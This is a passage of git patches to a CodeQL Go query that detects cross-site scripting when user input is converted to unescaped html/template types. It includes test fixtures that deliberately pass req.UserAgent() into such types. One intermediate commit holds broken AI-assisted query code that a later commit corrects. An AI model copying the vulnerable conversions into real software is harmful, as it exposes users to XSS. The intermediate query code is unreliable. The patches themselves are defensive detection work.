$ Alert[go/html-template-escaping-bypass-xss] } } } { - var c = template.HTMLAttr(req.UserAgent()) // $ Source[go/html-template-escaping-passthrough] - checkError(tmplTag.Execute(os.Stdout, c)) // $ Alert[go/html-template-escaping-passthrough] + var c = template.HTMLAttr(req.UserAgent()) // $ Source[go/html-template-escaping-bypass-xss] + checkError(tmplTag.Execute(os.Stdout, c)) // $ Alert[go/html-template-escaping-bypass-xss] } { - var d = template.JS(req.UserAgent()) // $ Source[go/html-template-escaping-passthrough] - checkError(tmplScript.Execute(os.Stdout, d)) // $ Alert[go/html-template-escaping-passthrough] + var d = template.JS(req.UserAgent()) // $ Source[go/html-template-escaping-bypass-xss] + checkError(tmplScript.Execute(os.Stdout, d)) // $ Alert[go/html-template-escaping-bypass-xss] } { - var e = template.JSStr(req.UserAgent()) // $ Source[go/html-template-escaping-passthrough] - checkError(tmplScript.Execute(os.Stdout, e)) // $ Alert[go/html-template-escaping-passthrough] + var e = template.JSStr(req.UserAgent()) // $ Source[go/html-template-escaping-bypass-xss] + checkError(tmplScript.Execute(os.Stdout, e)) // $ Alert[go/html-template-escaping-bypass-xss] } { - var b = template.CSS(req.UserAgent()) // $ Source[go/html-template-escaping-passthrough] - checkError(tmpl.Execute(os.Stdout, b)) // $ Alert[go/html-template-escaping-passthrough] + var b = template.CSS(req.UserAgent()) // $ Source[go/html-template-escaping-bypass-xss] + checkError(tmpl.Execute(os.Stdout, b)) // $ Alert[go/html-template-escaping-bypass-xss] } { - var f = template.Srcset(req.UserAgent()) // $ Source[go/html-template-escaping-passthrough] - checkError(tmplSrcset.Execute(os.Stdout, f)) // $ Alert[go/html-template-escaping-passthrough] + var f = template.Srcset(req.UserAgent()) // $ Source[go/html-template-escaping-bypass-xss] + checkError(tmplSrcset.Execute(os.Stdout, f)) // $ Alert[go/html-template-escaping-bypass-xss] } { - var g = template.URL(req.UserAgent()) // $ Source[go/html-template-escaping-passthrough] - checkError(tmpl.Execute(os.Stdout, g)) // $ Alert[go/html-template-escaping-passthrough] + var g = template.URL(req.UserAgent()) // $ Source[go/html-template-escaping-bypass-xss] + checkError(tmpl.Execute(os.Stdout, g)) // $ Alert[go/html-template-escaping-bypass-xss] } } From ca85f0bf7f7f56eedb2d64fdd56b6aa53a23474e Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Thu, 24 Apr 2025 12:26:23 +0100 Subject: [PATCH 052/535] Update query metadata --- .../CWE-079/HTMLTemplateEscapingPassthrough.ql | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql b/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql index c7135f9eeea0..9e1510e97974 100644 --- a/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql +++ b/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql @@ -1,13 +1,14 @@ /** - * @name HTML template escaping passthrough - * @description If a user-provided value is converted to a special type that avoids escaping when fed into a HTML - * template, it may result in XSS. + * @name HTML template escaping bypass cross-site scripting + * @description Converting user input to a special type that avoids escaping + * when fed into an HTML template allows for a cross-site + * scripting vulnerability. * @kind path-problem - * @problem.severity warning + * @problem.severity error * @id go/html-template-escaping-bypass-xss * @tags security - * experimental * external/cwe/cwe-079 + * external/cwe/cwe-116 */ import go From ce4be6d04c19cbf3aa233966a92ab1f87e78b139 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Thu, 24 Apr 2025 12:36:22 +0100 Subject: [PATCH 053/535] Refactor to use flow state instead of 3 flow configs (copilot) --- .../HTMLTemplateEscapingPassthrough.ql | 156 ++++++------------ 1 file changed, 53 insertions(+), 103 deletions(-) diff --git a/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql b/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql index 9e1510e97974..9a63ba75e2aa 100644 --- a/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql +++ b/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql @@ -13,21 +13,6 @@ import go -/** - * Holds if the provided `untrusted` node flows into a conversion to a PassthroughType. - * The `targetType` parameter gets populated with the name of the PassthroughType, - * and `conversionSink` gets populated with the node where the conversion happens. - */ -predicate flowsFromUntrustedToConversion( - DataFlow::Node untrusted, PassthroughTypeName targetType, DataFlow::Node conversionSink -) { - exists(DataFlow::Node source | - UntrustedToPassthroughTypeConversionFlow::flow(source, conversionSink) and - source = untrusted and - UntrustedToPassthroughTypeConversionConfig::isSinkToPassthroughType(conversionSink, targetType) - ) -} - /** * A name of a type that will not be escaped when passed to * a `html/template` template. @@ -36,65 +21,6 @@ class PassthroughTypeName extends string { PassthroughTypeName() { this = ["HTML", "HTMLAttr", "JS", "JSStr", "CSS", "Srcset", "URL"] } } -module UntrustedToPassthroughTypeConversionConfig implements DataFlow::ConfigSig { - predicate isSource(DataFlow::Node source) { source instanceof ActiveThreatModelSource } - - additional predicate isSinkToPassthroughType(DataFlow::TypeCastNode sink, PassthroughTypeName name) { - exists(Type typ | - typ = sink.getResultType() and - typ.getUnderlyingType*().hasQualifiedName("html/template", name) - ) - } - - predicate isSink(DataFlow::Node sink) { isSinkToPassthroughType(sink, _) } - - predicate isBarrier(DataFlow::Node node) { - node instanceof SharedXss::Sanitizer or node.getType() instanceof NumericType - } -} - -/** - * Tracks taint flow for reasoning about when a `ActiveThreatModelSource` is - * converted into a special "passthrough" type which will not be escaped by the - * template generator; this allows the injection of arbitrary content (html, - * css, js) into the generated output of the templates. - */ -module UntrustedToPassthroughTypeConversionFlow = - TaintTracking::Global; - -/** - * Holds if the provided `conversion` node flows into the provided `execSink`. - */ -predicate flowsFromConversionToExec( - DataFlow::Node conversion, PassthroughTypeName targetType, DataFlow::Node execSink -) { - PassthroughTypeConversionToTemplateExecutionCallFlow::flow(conversion, execSink) and - PassthroughTypeConversionToTemplateExecutionCallConfig::isSourceConversionToPassthroughType(conversion, - targetType) -} - -module PassthroughTypeConversionToTemplateExecutionCallConfig implements DataFlow::ConfigSig { - predicate isSource(DataFlow::Node source) { isSourceConversionToPassthroughType(source, _) } - - additional predicate isSourceConversionToPassthroughType( - DataFlow::TypeCastNode source, PassthroughTypeName name - ) { - exists(Type typ | - typ = source.getResultType() and - typ.getUnderlyingType*().hasQualifiedName("html/template", name) - ) - } - - predicate isSink(DataFlow::Node sink) { isSinkToTemplateExec(sink, _) } -} - -/** - * Tracks taint flow for reasoning about when the result of a conversion to a - * PassthroughType flows to a template execution call. - */ -module PassthroughTypeConversionToTemplateExecutionCallFlow = - TaintTracking::Global; - /** * Holds if the sink is a data value argument of a template execution call. */ @@ -109,46 +35,70 @@ predicate isSinkToTemplateExec(DataFlow::Node sink, DataFlow::CallNode call) { ) } -module FromUntrustedToTemplateExecutionCallConfig implements DataFlow::ConfigSig { - predicate isSource(DataFlow::Node source) { source instanceof ActiveThreatModelSource } +/** + * Flow state for tracking whether a conversion to a passthrough type has occurred. + */ +class FlowState extends int { + FlowState() { this = 0 or this = 1 } + + predicate isBeforeConversion() { this = 0 } - predicate isSink(DataFlow::Node sink) { isSinkToTemplateExec(sink, _) } + predicate isAfterConversion() { this = 1 } } /** - * Tracks taint flow from a `ActiveThreatModelSource` into a template executor - * call. + * Data flow configuration that tracks flows from untrusted sources (A) to template execution calls (C), + * and tracks whether a conversion to a passthrough type (B) has occurred. */ -module FromUntrustedToTemplateExecutionCallFlow = - TaintTracking::Global; +module UntrustedToTemplateExecWithConversionConfig implements DataFlow::ConfigSig { + predicate isSource(DataFlow::Node source, FlowState state) { + state.isBeforeConversion() and source instanceof ActiveThreatModelSource + } + + predicate isSink(DataFlow::Node sink, FlowState state) { + state.isAfterConversion() and isSinkToTemplateExec(sink, _) + } -import FromUntrustedToTemplateExecutionCallFlow::PathGraph + predicate isBarrier(DataFlow::Node node, FlowState state) { + node instanceof SharedXss::Sanitizer or node.getType() instanceof NumericType + } -/** - * Holds if the provided `untrusted` node flows into the provided `execSink`. - */ -predicate flowsFromUntrustedToExec( - FromUntrustedToTemplateExecutionCallFlow::PathNode untrusted, - FromUntrustedToTemplateExecutionCallFlow::PathNode execSink -) { - FromUntrustedToTemplateExecutionCallFlow::flowPath(untrusted, execSink) + /** + * When a conversion to a passthrough type is encountered, transition the flow state. + */ + predicate step(DataFlow::Node pred, FlowState predState, DataFlow::Node succ, FlowState succState) { + // If not yet converted, look for a conversion to a passthrough type + predState.isBeforeConversion() and + succState.isAfterConversion() and + pred = succ and + exists(Type typ, PassthroughTypeName name | + typ = pred.getType() and + typ.getUnderlyingType*().hasQualifiedName("html/template", name) + ) + or + // Otherwise, normal flow with unchanged state + predState = succState + } } +module UntrustedToTemplateExecWithConversionFlow = + DataFlow::PathGraph; + from - FromUntrustedToTemplateExecutionCallFlow::PathNode untrustedSource, - FromUntrustedToTemplateExecutionCallFlow::PathNode templateExecCall, - PassthroughTypeName targetTypeName, DataFlow::Node conversion + UntrustedToTemplateExecWithConversionFlow::PathNode untrustedSource, + UntrustedToTemplateExecWithConversionFlow::PathNode templateExecCall, DataFlow::Node conversion, + PassthroughTypeName targetTypeName where - // A = untrusted remote flow source - // B = conversion to PassthroughType - // C = template execution call - // Flows: - // A -> B - flowsFromUntrustedToConversion(untrustedSource.getNode(), targetTypeName, conversion) and - // B -> C - flowsFromConversionToExec(conversion, targetTypeName, templateExecCall.getNode()) and - // A -> C - flowsFromUntrustedToExec(untrustedSource, templateExecCall) + UntrustedToTemplateExecWithConversionFlow::flowPath(untrustedSource, templateExecCall) and + // Find the conversion node in the path + exists(int i | + i = templateExecCall.getPathIndex() - 1 and + conversion = templateExecCall.getPathNode(i).getNode() and + exists(Type typ | + typ = conversion.getType() and + typ.getUnderlyingType*().hasQualifiedName("html/template", targetTypeName) + ) + ) select templateExecCall.getNode(), untrustedSource, templateExecCall, "Data from an $@ will not be auto-escaped because it was $@ to template." + targetTypeName, untrustedSource.getNode(), "untrusted source", conversion, "converted" From 4e5a865337d45ae1dba3021abb3741b666aafd11 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Thu, 24 Apr 2025 16:14:48 +0100 Subject: [PATCH 054/535] Manually fix copilot's mistakes and get query working --- .../HTMLTemplateEscapingPassthrough.ql | 82 ++++++++++--------- .../HTMLTemplateEscapingPassthrough.expected | 63 +++++--------- 2 files changed, 63 insertions(+), 82 deletions(-) diff --git a/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql b/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql index 9a63ba75e2aa..9a73ebe159bf 100644 --- a/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql +++ b/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql @@ -36,69 +36,75 @@ predicate isSinkToTemplateExec(DataFlow::Node sink, DataFlow::CallNode call) { } /** - * Flow state for tracking whether a conversion to a passthrough type has occurred. + * Data flow configuration that tracks flows from untrusted sources (A) to template execution calls (C), + * and tracks whether a conversion to a passthrough type (B) has occurred. */ -class FlowState extends int { - FlowState() { this = 0 or this = 1 } +module UntrustedToTemplateExecWithConversionConfig implements DataFlow::StateConfigSig { + private newtype TConversionState = + TUnconverted() or + TConverted(PassthroughTypeName x) - predicate isBeforeConversion() { this = 0 } + /** + * Flow state for tracking whether a conversion to a passthrough type has occurred. + */ + class FlowState extends TConversionState { + predicate isBeforeConversion() { this instanceof TUnconverted } - predicate isAfterConversion() { this = 1 } -} + predicate isAfterConversion(PassthroughTypeName x) { this = TConverted(x) } + + /** Gets a textual representation of this element. */ + string toString() { + this.isBeforeConversion() and result = "Unconverted" + or + exists(PassthroughTypeName x | this.isAfterConversion(x) | + result = "Converted to template." + x + ) + } + } -/** - * Data flow configuration that tracks flows from untrusted sources (A) to template execution calls (C), - * and tracks whether a conversion to a passthrough type (B) has occurred. - */ -module UntrustedToTemplateExecWithConversionConfig implements DataFlow::ConfigSig { predicate isSource(DataFlow::Node source, FlowState state) { state.isBeforeConversion() and source instanceof ActiveThreatModelSource } predicate isSink(DataFlow::Node sink, FlowState state) { - state.isAfterConversion() and isSinkToTemplateExec(sink, _) + state.isAfterConversion(_) and isSinkToTemplateExec(sink, _) } - predicate isBarrier(DataFlow::Node node, FlowState state) { - node instanceof SharedXss::Sanitizer or node.getType() instanceof NumericType + predicate isBarrier(DataFlow::Node node) { + node instanceof SharedXss::Sanitizer and not node instanceof SharedXss::HtmlTemplateSanitizer + or + node.getType() instanceof NumericType } /** * When a conversion to a passthrough type is encountered, transition the flow state. */ - predicate step(DataFlow::Node pred, FlowState predState, DataFlow::Node succ, FlowState succState) { - // If not yet converted, look for a conversion to a passthrough type - predState.isBeforeConversion() and - succState.isAfterConversion() and - pred = succ and - exists(Type typ, PassthroughTypeName name | - typ = pred.getType() and - typ.getUnderlyingType*().hasQualifiedName("html/template", name) + predicate isAdditionalFlowStep( + DataFlow::Node pred, FlowState predState, DataFlow::Node succ, FlowState succState + ) { + exists(ConversionExpr conversion, PassthroughTypeName name | + // If not yet converted, look for a conversion to a passthrough type + predState.isBeforeConversion() and + succState.isAfterConversion(name) and + succ.(DataFlow::TypeCastNode).getExpr() = conversion and + pred.asExpr() = conversion.getOperand() and + conversion.getType().getUnderlyingType*().hasQualifiedName("html/template", name) ) - or - // Otherwise, normal flow with unchanged state - predState = succState } } module UntrustedToTemplateExecWithConversionFlow = - DataFlow::PathGraph; + TaintTracking::GlobalWithState; + +import UntrustedToTemplateExecWithConversionFlow::PathGraph from UntrustedToTemplateExecWithConversionFlow::PathNode untrustedSource, - UntrustedToTemplateExecWithConversionFlow::PathNode templateExecCall, DataFlow::Node conversion, + UntrustedToTemplateExecWithConversionFlow::PathNode templateExecCall, PassthroughTypeName targetTypeName where UntrustedToTemplateExecWithConversionFlow::flowPath(untrustedSource, templateExecCall) and - // Find the conversion node in the path - exists(int i | - i = templateExecCall.getPathIndex() - 1 and - conversion = templateExecCall.getPathNode(i).getNode() and - exists(Type typ | - typ = conversion.getType() and - typ.getUnderlyingType*().hasQualifiedName("html/template", targetTypeName) - ) - ) + templateExecCall.getState().isAfterConversion(targetTypeName) select templateExecCall.getNode(), untrustedSource, templateExecCall, - "Data from an $@ will not be auto-escaped because it was $@ to template." + targetTypeName, - untrustedSource.getNode(), "untrusted source", conversion, "converted" + "Data from an $@ will not be auto-escaped because it was converted to template." + targetTypeName, + untrustedSource.getNode(), "untrusted source" diff --git a/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.expected b/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.expected index 8032c4eec221..7da7560567fd 100644 --- a/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.expected +++ b/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.expected @@ -1,46 +1,34 @@ #select -| HTMLTemplateEscapingPassthrough.go:30:39:30:39 | a | HTMLTemplateEscapingPassthrough.go:29:26:29:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:30:39:30:39 | a | Data from an $@ will not be auto-escaped because it was $@ to template.HTML | HTMLTemplateEscapingPassthrough.go:29:26:29:40 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:29:12:29:41 | type conversion | converted | -| HTMLTemplateEscapingPassthrough.go:36:40:36:40 | a | HTMLTemplateEscapingPassthrough.go:35:23:35:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:36:40:36:40 | a | Data from an $@ will not be auto-escaped because it was $@ to template.HTML | HTMLTemplateEscapingPassthrough.go:35:23:35:37 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:35:9:35:38 | type conversion | converted | -| HTMLTemplateEscapingPassthrough.go:41:40:41:40 | a | HTMLTemplateEscapingPassthrough.go:40:19:40:33 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:41:40:41:40 | a | Data from an $@ will not be auto-escaped because it was $@ to template.HTML | HTMLTemplateEscapingPassthrough.go:40:19:40:33 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:40:9:40:34 | type conversion | converted | -| HTMLTemplateEscapingPassthrough.go:47:41:47:41 | c | HTMLTemplateEscapingPassthrough.go:46:29:46:43 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:47:41:47:41 | c | Data from an $@ will not be auto-escaped because it was $@ to template.HTMLAttr | HTMLTemplateEscapingPassthrough.go:46:29:46:43 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:46:11:46:44 | type conversion | converted | -| HTMLTemplateEscapingPassthrough.go:51:44:51:44 | d | HTMLTemplateEscapingPassthrough.go:50:23:50:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:51:44:51:44 | d | Data from an $@ will not be auto-escaped because it was $@ to template.JS | HTMLTemplateEscapingPassthrough.go:50:23:50:37 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:50:11:50:38 | type conversion | converted | -| HTMLTemplateEscapingPassthrough.go:55:44:55:44 | e | HTMLTemplateEscapingPassthrough.go:54:26:54:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:55:44:55:44 | e | Data from an $@ will not be auto-escaped because it was $@ to template.JSStr | HTMLTemplateEscapingPassthrough.go:54:26:54:40 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:54:11:54:41 | type conversion | converted | -| HTMLTemplateEscapingPassthrough.go:59:38:59:38 | b | HTMLTemplateEscapingPassthrough.go:58:24:58:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:59:38:59:38 | b | Data from an $@ will not be auto-escaped because it was $@ to template.CSS | HTMLTemplateEscapingPassthrough.go:58:24:58:38 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:58:11:58:39 | type conversion | converted | -| HTMLTemplateEscapingPassthrough.go:63:44:63:44 | f | HTMLTemplateEscapingPassthrough.go:62:27:62:41 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:63:44:63:44 | f | Data from an $@ will not be auto-escaped because it was $@ to template.Srcset | HTMLTemplateEscapingPassthrough.go:62:27:62:41 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:62:11:62:42 | type conversion | converted | -| HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | HTMLTemplateEscapingPassthrough.go:66:24:66:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | Data from an $@ will not be auto-escaped because it was $@ to template.URL | HTMLTemplateEscapingPassthrough.go:66:24:66:38 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:66:11:66:39 | type conversion | converted | +| HTMLTemplateEscapingPassthrough.go:30:39:30:39 | a | HTMLTemplateEscapingPassthrough.go:29:26:29:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:30:39:30:39 | a | Data from an $@ will not be auto-escaped because it was converted to template.HTML | HTMLTemplateEscapingPassthrough.go:29:26:29:40 | call to UserAgent | untrusted source | +| HTMLTemplateEscapingPassthrough.go:36:40:36:40 | a | HTMLTemplateEscapingPassthrough.go:35:23:35:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:36:40:36:40 | a | Data from an $@ will not be auto-escaped because it was converted to template.HTML | HTMLTemplateEscapingPassthrough.go:35:23:35:37 | call to UserAgent | untrusted source | +| HTMLTemplateEscapingPassthrough.go:41:40:41:40 | a | HTMLTemplateEscapingPassthrough.go:40:19:40:33 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:41:40:41:40 | a | Data from an $@ will not be auto-escaped because it was converted to template.HTML | HTMLTemplateEscapingPassthrough.go:40:19:40:33 | call to UserAgent | untrusted source | +| HTMLTemplateEscapingPassthrough.go:47:41:47:41 | c | HTMLTemplateEscapingPassthrough.go:46:29:46:43 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:47:41:47:41 | c | Data from an $@ will not be auto-escaped because it was converted to template.HTMLAttr | HTMLTemplateEscapingPassthrough.go:46:29:46:43 | call to UserAgent | untrusted source | +| HTMLTemplateEscapingPassthrough.go:51:44:51:44 | d | HTMLTemplateEscapingPassthrough.go:50:23:50:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:51:44:51:44 | d | Data from an $@ will not be auto-escaped because it was converted to template.JS | HTMLTemplateEscapingPassthrough.go:50:23:50:37 | call to UserAgent | untrusted source | +| HTMLTemplateEscapingPassthrough.go:55:44:55:44 | e | HTMLTemplateEscapingPassthrough.go:54:26:54:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:55:44:55:44 | e | Data from an $@ will not be auto-escaped because it was converted to template.JSStr | HTMLTemplateEscapingPassthrough.go:54:26:54:40 | call to UserAgent | untrusted source | +| HTMLTemplateEscapingPassthrough.go:59:38:59:38 | b | HTMLTemplateEscapingPassthrough.go:58:24:58:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:59:38:59:38 | b | Data from an $@ will not be auto-escaped because it was converted to template.CSS | HTMLTemplateEscapingPassthrough.go:58:24:58:38 | call to UserAgent | untrusted source | +| HTMLTemplateEscapingPassthrough.go:63:44:63:44 | f | HTMLTemplateEscapingPassthrough.go:62:27:62:41 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:63:44:63:44 | f | Data from an $@ will not be auto-escaped because it was converted to template.Srcset | HTMLTemplateEscapingPassthrough.go:62:27:62:41 | call to UserAgent | untrusted source | +| HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | HTMLTemplateEscapingPassthrough.go:66:24:66:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | Data from an $@ will not be auto-escaped because it was converted to template.URL | HTMLTemplateEscapingPassthrough.go:66:24:66:38 | call to UserAgent | untrusted source | edges | HTMLTemplateEscapingPassthrough.go:29:12:29:41 | type conversion | HTMLTemplateEscapingPassthrough.go:30:39:30:39 | a | provenance | | -| HTMLTemplateEscapingPassthrough.go:29:26:29:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:29:12:29:41 | type conversion | provenance | Src:MaD:2 | +| HTMLTemplateEscapingPassthrough.go:29:26:29:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:29:12:29:41 | type conversion | provenance | Src:MaD:1 Config | | HTMLTemplateEscapingPassthrough.go:35:9:35:38 | type conversion | HTMLTemplateEscapingPassthrough.go:36:40:36:40 | a | provenance | | -| HTMLTemplateEscapingPassthrough.go:35:23:35:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:35:9:35:38 | type conversion | provenance | Src:MaD:2 | +| HTMLTemplateEscapingPassthrough.go:35:23:35:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:35:9:35:38 | type conversion | provenance | Src:MaD:1 Config | | HTMLTemplateEscapingPassthrough.go:40:9:40:34 | type conversion | HTMLTemplateEscapingPassthrough.go:41:40:41:40 | a | provenance | | -| HTMLTemplateEscapingPassthrough.go:40:19:40:33 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:40:9:40:34 | type conversion | provenance | Src:MaD:2 | +| HTMLTemplateEscapingPassthrough.go:40:19:40:33 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:40:9:40:34 | type conversion | provenance | Src:MaD:1 Config | | HTMLTemplateEscapingPassthrough.go:46:11:46:44 | type conversion | HTMLTemplateEscapingPassthrough.go:47:41:47:41 | c | provenance | | -| HTMLTemplateEscapingPassthrough.go:46:29:46:43 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:46:11:46:44 | type conversion | provenance | Src:MaD:2 | +| HTMLTemplateEscapingPassthrough.go:46:29:46:43 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:46:11:46:44 | type conversion | provenance | Src:MaD:1 Config | | HTMLTemplateEscapingPassthrough.go:50:11:50:38 | type conversion | HTMLTemplateEscapingPassthrough.go:51:44:51:44 | d | provenance | | -| HTMLTemplateEscapingPassthrough.go:50:23:50:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:50:11:50:38 | type conversion | provenance | Src:MaD:2 | +| HTMLTemplateEscapingPassthrough.go:50:23:50:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:50:11:50:38 | type conversion | provenance | Src:MaD:1 Config | | HTMLTemplateEscapingPassthrough.go:54:11:54:41 | type conversion | HTMLTemplateEscapingPassthrough.go:55:44:55:44 | e | provenance | | -| HTMLTemplateEscapingPassthrough.go:54:26:54:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:54:11:54:41 | type conversion | provenance | Src:MaD:2 | +| HTMLTemplateEscapingPassthrough.go:54:26:54:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:54:11:54:41 | type conversion | provenance | Src:MaD:1 Config | | HTMLTemplateEscapingPassthrough.go:58:11:58:39 | type conversion | HTMLTemplateEscapingPassthrough.go:59:38:59:38 | b | provenance | | -| HTMLTemplateEscapingPassthrough.go:58:24:58:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:58:11:58:39 | type conversion | provenance | Src:MaD:2 | +| HTMLTemplateEscapingPassthrough.go:58:24:58:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:58:11:58:39 | type conversion | provenance | Src:MaD:1 Config | | HTMLTemplateEscapingPassthrough.go:62:11:62:42 | type conversion | HTMLTemplateEscapingPassthrough.go:63:44:63:44 | f | provenance | | -| HTMLTemplateEscapingPassthrough.go:62:27:62:41 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:62:11:62:42 | type conversion | provenance | Src:MaD:2 | +| HTMLTemplateEscapingPassthrough.go:62:27:62:41 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:62:11:62:42 | type conversion | provenance | Src:MaD:1 Config | | HTMLTemplateEscapingPassthrough.go:66:11:66:39 | type conversion | HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | provenance | | -| HTMLTemplateEscapingPassthrough.go:66:24:66:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:66:11:66:39 | type conversion | provenance | Src:MaD:2 | -| HTMLTemplateEscapingPassthrough.go:75:17:75:31 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:76:38:76:44 | escaped | provenance | Src:MaD:2 | -| HTMLTemplateEscapingPassthrough.go:81:10:81:24 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:84:38:84:40 | src | provenance | Src:MaD:2 | -| HTMLTemplateEscapingPassthrough.go:89:10:89:24 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:91:64:91:66 | src | provenance | Src:MaD:2 | -| HTMLTemplateEscapingPassthrough.go:91:16:91:77 | type conversion | HTMLTemplateEscapingPassthrough.go:92:38:92:46 | converted | provenance | | -| HTMLTemplateEscapingPassthrough.go:91:38:91:67 | call to HTMLEscapeString | HTMLTemplateEscapingPassthrough.go:91:16:91:77 | type conversion | provenance | | -| HTMLTemplateEscapingPassthrough.go:91:64:91:66 | src | HTMLTemplateEscapingPassthrough.go:91:38:91:67 | call to HTMLEscapeString | provenance | MaD:3 | -| ReflectedXssGood.go:15:15:15:20 | selection of Form | ReflectedXssGood.go:15:15:15:36 | call to Get | provenance | Src:MaD:1 MaD:4 | -| ReflectedXssGood.go:15:15:15:36 | call to Get | ReflectedXssGood.go:20:24:20:31 | username | provenance | | -| ReflectedXssGood.go:15:15:15:36 | call to Get | ReflectedXssGood.go:21:40:21:47 | username | provenance | | +| HTMLTemplateEscapingPassthrough.go:66:24:66:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:66:11:66:39 | type conversion | provenance | Src:MaD:1 Config | models -| 1 | Source: net/http; Request; true; Form; ; ; ; remote; manual | -| 2 | Source: net/http; Request; true; UserAgent; ; ; ReturnValue; remote; manual | -| 3 | Summary: html/template; ; false; HTMLEscapeString; ; ; Argument[0]; ReturnValue; taint; manual | -| 4 | Summary: net/url; Values; true; Get; ; ; Argument[receiver]; ReturnValue; taint; manual | +| 1 | Source: net/http; Request; true; UserAgent; ; ; ReturnValue; remote; manual | nodes | HTMLTemplateEscapingPassthrough.go:29:12:29:41 | type conversion | semmle.label | type conversion | | HTMLTemplateEscapingPassthrough.go:29:26:29:40 | call to UserAgent | semmle.label | call to UserAgent | @@ -69,17 +57,4 @@ nodes | HTMLTemplateEscapingPassthrough.go:66:11:66:39 | type conversion | semmle.label | type conversion | | HTMLTemplateEscapingPassthrough.go:66:24:66:38 | call to UserAgent | semmle.label | call to UserAgent | | HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | semmle.label | g | -| HTMLTemplateEscapingPassthrough.go:75:17:75:31 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:76:38:76:44 | escaped | semmle.label | escaped | -| HTMLTemplateEscapingPassthrough.go:81:10:81:24 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:84:38:84:40 | src | semmle.label | src | -| HTMLTemplateEscapingPassthrough.go:89:10:89:24 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:91:16:91:77 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:91:38:91:67 | call to HTMLEscapeString | semmle.label | call to HTMLEscapeString | -| HTMLTemplateEscapingPassthrough.go:91:64:91:66 | src | semmle.label | src | -| HTMLTemplateEscapingPassthrough.go:92:38:92:46 | converted | semmle.label | converted | -| ReflectedXssGood.go:15:15:15:20 | selection of Form | semmle.label | selection of Form | -| ReflectedXssGood.go:15:15:15:36 | call to Get | semmle.label | call to Get | -| ReflectedXssGood.go:20:24:20:31 | username | semmle.label | username | -| ReflectedXssGood.go:21:40:21:47 | username | semmle.label | username | subpaths From cbdbb0310b91d885a9ebfd711679877b70013658 